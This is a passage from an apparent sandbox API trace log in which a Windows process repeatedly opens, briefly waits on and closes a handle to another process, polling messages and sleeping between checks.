lpMsg=0x354f90c) returned 0 [0302.405] Sleep (dwMilliseconds=0x1) [0302.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.419] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.434] CloseHandle (hObject=0x3d90) returned 1 [0302.434] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.434] Sleep (dwMilliseconds=0x1) [0302.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.450] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.465] CloseHandle (hObject=0x3d90) returned 1 [0302.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.466] Sleep (dwMilliseconds=0x1) [0302.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.481] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.497] CloseHandle (hObject=0x3d90) returned 1 [0302.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.497] Sleep (dwMilliseconds=0x1) [0302.512] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.512] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.528] CloseHandle (hObject=0x3d90) returned 1 [0302.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.528] Sleep (dwMilliseconds=0x1) [0302.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.544] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.559] CloseHandle (hObject=0x3d90) returned 1 [0302.559] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.559] Sleep (dwMilliseconds=0x1) [0302.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.575] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.591] CloseHandle (hObject=0x3d90) returned 1 [0302.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.591] Sleep (dwMilliseconds=0x1) [0302.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.606] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.622] CloseHandle (hObject=0x3d90) returned 1 [0302.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.622] Sleep (dwMilliseconds=0x1) [0302.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.637] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.653] CloseHandle (hObject=0x3d90) returned 1 [0302.653] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.653] Sleep (dwMilliseconds=0x1) [0302.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.669] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.684] CloseHandle (hObject=0x3d90) returned 1 [0302.684] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.684] Sleep (dwMilliseconds=0x1) [0302.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.700] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.716] CloseHandle (hObject=0x3d90) returned 1 [0302.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.717] Sleep (dwMilliseconds=0x1) [0302.731] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.731] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.747] CloseHandle (hObject=0x3d90) returned 1 [0302.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.747] Sleep (dwMilliseconds=0x1) [0302.762] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3da0 [0302.762] WaitForSingleObject (hHandle=0x3da0, dwMilliseconds=0xa) returned 0x102 [0302.779] CloseHandle (hObject=0x3da0) returned 1 [0302.779] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.779] Sleep (dwMilliseconds=0x1) [0302.796] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3da0 [0302.796] WaitForSingleObject (hHandle=0x3da0, dwMilliseconds=0xa) returned 0x102 [0302.809] CloseHandle (hObject=0x3da0) returned 1 [0302.809] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.809] Sleep (dwMilliseconds=0x1) [0302.833] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3da0 [0302.833] WaitForSingleObject (hHandle=0x3da0, dwMilliseconds=0xa) returned 0x102 [0302.840] CloseHandle (hObject=0x3da0) returned 1 [0302.840] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.841] Sleep (dwMilliseconds=0x1) [0302.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3da0 [0302.856] WaitForSingleObject (hHandle=0x3da0, dwMilliseconds=0xa) returned 0x102 [0302.872] CloseHandle (hObject=0x3da0) returned 1 [0302.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.872] Sleep (dwMilliseconds=0x1) [0302.887] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3da0 [0302.887] WaitForSingleObject (hHandle=0x3da0, dwMilliseconds=0xa) returned 0x102 [0302.903] CloseHandle (hObject=0x3da0) returned 1 [0302.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.903] Sleep (dwMilliseconds=0x1) [0302.918] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3da0 [0302.918] WaitForSingleObject (hHandle=0x3da0, dwMilliseconds=0xa) returned 0x102 [0302.934] CloseHandle (hObject=0x3da0) returned 1 [0302.934] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.934] Sleep (dwMilliseconds=0x1) [0302.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3da0 [0302.950] WaitForSingleObject (hHandle=0x3da0, dwMilliseconds=0xa) returned 0x102 [0302.965] CloseHandle (hObject=0x3da0) returned 1 [0302.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.966] Sleep (dwMilliseconds=0x1) [0302.985] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dac [0302.985] WaitForSingleObject (hHandle=0x3dac, dwMilliseconds=0xa) returned 0x102 [0303.001] CloseHandle (hObject=0x3dac) returned 1 [0303.001] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.001] Sleep (dwMilliseconds=0x1) [0303.012] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3db4 [0303.012] WaitForSingleObject (hHandle=0x3db4, dwMilliseconds=0xa) returned 0x102 [0303.039] CloseHandle (hObject=0x3db4) returned 1 [0303.039] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.039] Sleep (dwMilliseconds=0x1) [0303.043] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3db4 [0303.044] WaitForSingleObject (hHandle=0x3db4, dwMilliseconds=0xa) returned 0x102 [0303.059] CloseHandle (hObject=0x3db4) returned 1 [0303.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.059] Sleep (dwMilliseconds=0x1) [0303.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dc0 [0303.075] WaitForSingleObject (hHandle=0x3dc0, dwMilliseconds=0xa) returned 0x102 [0303.091] CloseHandle (hObject=0x3dc0) returned 1 [0303.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.091] Sleep (dwMilliseconds=0x1) [0303.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dc0 [0303.106] WaitForSingleObject (hHandle=0x3dc0, dwMilliseconds=0xa) returned 0x102 [0303.122] CloseHandle (hObject=0x3dc0) returned 1 [0303.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.122] Sleep (dwMilliseconds=0x1) [0303.143] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dd0 [0303.143] WaitForSingleObject (hHandle=0x3dd0, dwMilliseconds=0xa) returned 0x102 [0303.153] CloseHandle (hObject=0x3dd0) returned 1 [0303.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.153] Sleep (dwMilliseconds=0x1) [0303.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dd0 [0303.169] WaitForSingleObject (hHandle=0x3dd0, dwMilliseconds=0xa) returned 0x102 [0303.186] CloseHandle (hObject=0x3dd0) returned 1 [0303.186] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.186] Sleep (dwMilliseconds=0x1) [0303.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dd0 [0303.200] WaitForSingleObject (hHandle=0x3dd0, dwMilliseconds=0xa) returned 0x102 [0303.215] CloseHandle (hObject=0x3dd0) returned 1 [0303.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.216] Sleep (dwMilliseconds=0x1) [0303.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dd0 [0303.231] WaitForSingleObject (hHandle=0x3dd0, dwMilliseconds=0xa) returned 0x102 [0303.247] CloseHandle (hObject=0x3dd0) returned 1 [0303.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.247] Sleep (dwMilliseconds=0x1) [0303.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dd0 [0303.262] WaitForSingleObject (hHandle=0x3dd0, dwMilliseconds=0xa) returned 0x102 [0303.278] CloseHandle (hObject=0x3dd0) returned 1 [0303.278] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.278] Sleep (dwMilliseconds=0x1) [0303.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dd0 [0303.294] WaitForSingleObject (hHandle=0x3dd0, dwMilliseconds=0xa) returned 0x102 [0303.309] CloseHandle (hObject=0x3dd0) returned 1 [0303.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.309] Sleep (dwMilliseconds=0x1) [0303.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dd0 [0303.325] WaitForSingleObject (hHandle=0x3dd0, dwMilliseconds=0xa) returned 0x102 [0303.341] CloseHandle (hObject=0x3dd0) returned 1 [0303.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.341] Sleep (dwMilliseconds=0x1) [0303.356] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dd0 [0303.356] WaitForSingleObject (hHandle=0x3dd0, dwMilliseconds=0xa) returned 0x102 [0303.372] CloseHandle (hObject=0x3dd0) returned 1 [0303.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.372] Sleep (dwMilliseconds=0x1) [0303.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dd0 [0303.388] WaitForSingleObject (hHandle=0x3dd0, dwMilliseconds=0xa) returned 0x102 [0303.405] CloseHandle (hObject=0x3dd0) returned 1 [0303.405] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.405] Sleep (dwMilliseconds=0x1) [0303.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3dd0 [0303.419] WaitForSingleObject (hHandle=0x3dd0, dwMilliseconds=0xa) returned 0x102 [0303.437] CloseHandle (hObject=0x3dd0) returned 1 [0303.437] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.437] Sleep (dwMilliseconds=0x1) [0303.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3df0 [0303.450] WaitForSingleObject (hHandle=0x3df0, dwMilliseconds=0xa) returned 0x102 [0303.469] CloseHandle (hObject=0x3df0) returned 1 [0303.469] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.469] Sleep (dwMilliseconds=0x1) [0303.485] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3df8 [0303.485] WaitForSingleObject (hHandle=0x3df8, dwMilliseconds=0xa) returned 0x102 [0303.497] CloseHandle (hObject=0x3df8) returned 1 [0303.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.497] Sleep (dwMilliseconds=0x1) [0303.521] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e00 [0303.521] WaitForSingleObject (hHandle=0x3e00, dwMilliseconds=0xa) returned 0x102 [0303.528] CloseHandle (hObject=0x3e00) returned 1 [0303.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.528] Sleep (dwMilliseconds=0x1) [0303.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e08 [0303.544] WaitForSingleObject (hHandle=0x3e08, dwMilliseconds=0xa) returned 0x102 [0303.559] CloseHandle (hObject=0x3e08) returned 1 [0303.560] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.560] Sleep (dwMilliseconds=0x1) [0303.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e08 [0303.576] WaitForSingleObject (hHandle=0x3e08, dwMilliseconds=0xa) returned 0x102 [0303.591] CloseHandle (hObject=0x3e08) returned 1 [0303.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.591] Sleep (dwMilliseconds=0x1) [0303.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e08 [0303.606] WaitForSingleObject (hHandle=0x3e08, dwMilliseconds=0xa) returned 0x102 [0303.625] CloseHandle (hObject=0x3e08) returned 1 [0303.625] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.625] Sleep (dwMilliseconds=0x1) [0303.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e08 [0303.637] WaitForSingleObject (hHandle=0x3e08, dwMilliseconds=0xa) returned 0x102 [0303.663] CloseHandle (hObject=0x3e08) returned 1 [0303.663] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.663] Sleep (dwMilliseconds=0x1) [0303.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e08 [0303.669] WaitForSingleObject (hHandle=0x3e08, dwMilliseconds=0xa) returned 0x102 [0303.684] CloseHandle (hObject=0x3e08) returned 1 [0303.684] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.684] Sleep (dwMilliseconds=0x1) [0303.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e08 [0303.700] WaitForSingleObject (hHandle=0x3e08, dwMilliseconds=0xa) returned 0x102 [0303.716] CloseHandle (hObject=0x3e08) returned 1 [0303.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.716] Sleep (dwMilliseconds=0x1) [0303.731] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e08 [0303.731] WaitForSingleObject (hHandle=0x3e08, dwMilliseconds=0xa) returned 0x102 [0303.751] CloseHandle (hObject=0x3e08) returned 1 [0303.751] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.751] Sleep (dwMilliseconds=0x1) [0303.762] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e08 [0303.762] WaitForSingleObject (hHandle=0x3e08, dwMilliseconds=0xa) returned 0x102 [0303.778] CloseHandle (hObject=0x3e08) returned 1 [0303.778] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.778] Sleep (dwMilliseconds=0x1) [0303.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e08 [0303.794] WaitForSingleObject (hHandle=0x3e08, dwMilliseconds=0xa) returned 0x102 [0303.837] CloseHandle (hObject=0x3e08) returned 1 [0303.837] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.837] Sleep (dwMilliseconds=0x1) [0303.840] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e08 [0303.841] WaitForSingleObject (hHandle=0x3e08, dwMilliseconds=0xa) returned 0x102 [0303.856] CloseHandle (hObject=0x3e08) returned 1 [0303.857] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.857] Sleep (dwMilliseconds=0x1) [0303.874] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e54 [0303.874] WaitForSingleObject (hHandle=0x3e54, dwMilliseconds=0xa) returned 0x102 [0303.891] CloseHandle (hObject=0x3e54) returned 1 [0303.891] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.891] Sleep (dwMilliseconds=0x1) [0303.903] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e54 [0303.903] WaitForSingleObject (hHandle=0x3e54, dwMilliseconds=0xa) returned 0x102 [0303.919] CloseHandle (hObject=0x3e54) returned 1 [0303.919] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.919] Sleep (dwMilliseconds=0x1) [0303.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e54 [0303.934] WaitForSingleObject (hHandle=0x3e54, dwMilliseconds=0xa) returned 0x102 [0303.950] CloseHandle (hObject=0x3e54) returned 1 [0303.950] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.950] Sleep (dwMilliseconds=0x1) [0303.974] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e60 [0303.974] WaitForSingleObject (hHandle=0x3e60, dwMilliseconds=0xa) returned 0x102 [0303.981] CloseHandle (hObject=0x3e60) returned 1 [0303.981] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0303.981] Sleep (dwMilliseconds=0x1) [0303.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e64 [0303.997] WaitForSingleObject (hHandle=0x3e64, dwMilliseconds=0xa) returned 0x102 [0304.012] CloseHandle (hObject=0x3e64) returned 1 [0304.012] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.012] Sleep (dwMilliseconds=0x1) [0304.047] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e74 [0304.047] WaitForSingleObject (hHandle=0x3e74, dwMilliseconds=0xa) returned 0x102 [0304.059] CloseHandle (hObject=0x3e74) returned 1 [0304.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.059] Sleep (dwMilliseconds=0x1) [0304.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e7c [0304.075] WaitForSingleObject (hHandle=0x3e7c, dwMilliseconds=0xa) returned 0x102 [0304.090] CloseHandle (hObject=0x3e7c) returned 1 [0304.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.091] Sleep (dwMilliseconds=0x1) [0304.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e7c [0304.106] WaitForSingleObject (hHandle=0x3e7c, dwMilliseconds=0xa) returned 0x102 [0304.122] CloseHandle (hObject=0x3e7c) returned 1 [0304.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.122] Sleep (dwMilliseconds=0x1) [0304.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e7c [0304.138] WaitForSingleObject (hHandle=0x3e7c, dwMilliseconds=0xa) returned 0x102 [0304.153] CloseHandle (hObject=0x3e7c) returned 1 [0304.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.153] Sleep (dwMilliseconds=0x1) [0304.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e7c [0304.169] WaitForSingleObject (hHandle=0x3e7c, dwMilliseconds=0xa) returned 0x102 [0304.184] CloseHandle (hObject=0x3e7c) returned 1 [0304.184] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.184] Sleep (dwMilliseconds=0x1) [0304.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e7c [0304.200] WaitForSingleObject (hHandle=0x3e7c, dwMilliseconds=0xa) returned 0x102 [0304.220] CloseHandle (hObject=0x3e7c) returned 1 [0304.220] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.220] Sleep (dwMilliseconds=0x1) [0304.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e7c [0304.231] WaitForSingleObject (hHandle=0x3e7c, dwMilliseconds=0xa) returned 0x102 [0304.252] CloseHandle (hObject=0x3e7c) returned 1 [0304.252] 